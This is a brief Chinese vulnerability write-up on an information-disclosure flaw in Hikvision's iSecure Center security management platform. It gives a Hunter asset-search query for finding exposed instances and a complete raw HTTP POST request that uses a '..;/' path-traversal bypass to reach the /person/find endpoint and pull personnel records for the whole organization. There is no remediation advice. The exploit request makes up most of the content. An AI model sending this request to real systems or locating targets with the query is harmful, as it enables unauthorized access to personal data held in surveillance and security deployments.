海康威视iSecure Center综合安防管理平台find信息泄漏漏洞
一、漏洞简介
HIKVISION 综合安防管理平台存在信息泄漏漏洞，攻击者通过漏洞可以获取环境find等敏感信息进一步攻击。
二、影响版本
- HIKVISION 综合安防管理平台
三、资产测绘
hunter查询语法：app.name=="Hikvision 海康威视 iSecure Center"
- 登录页面
四、漏洞复现
POST /isupm/api/api/..;/..;/person/find HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Length: 95
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip, deflate
{"organizationId":"root000000","pageSize":100,"pageNo":1,"name":"","casecadeSubOrganization":1}
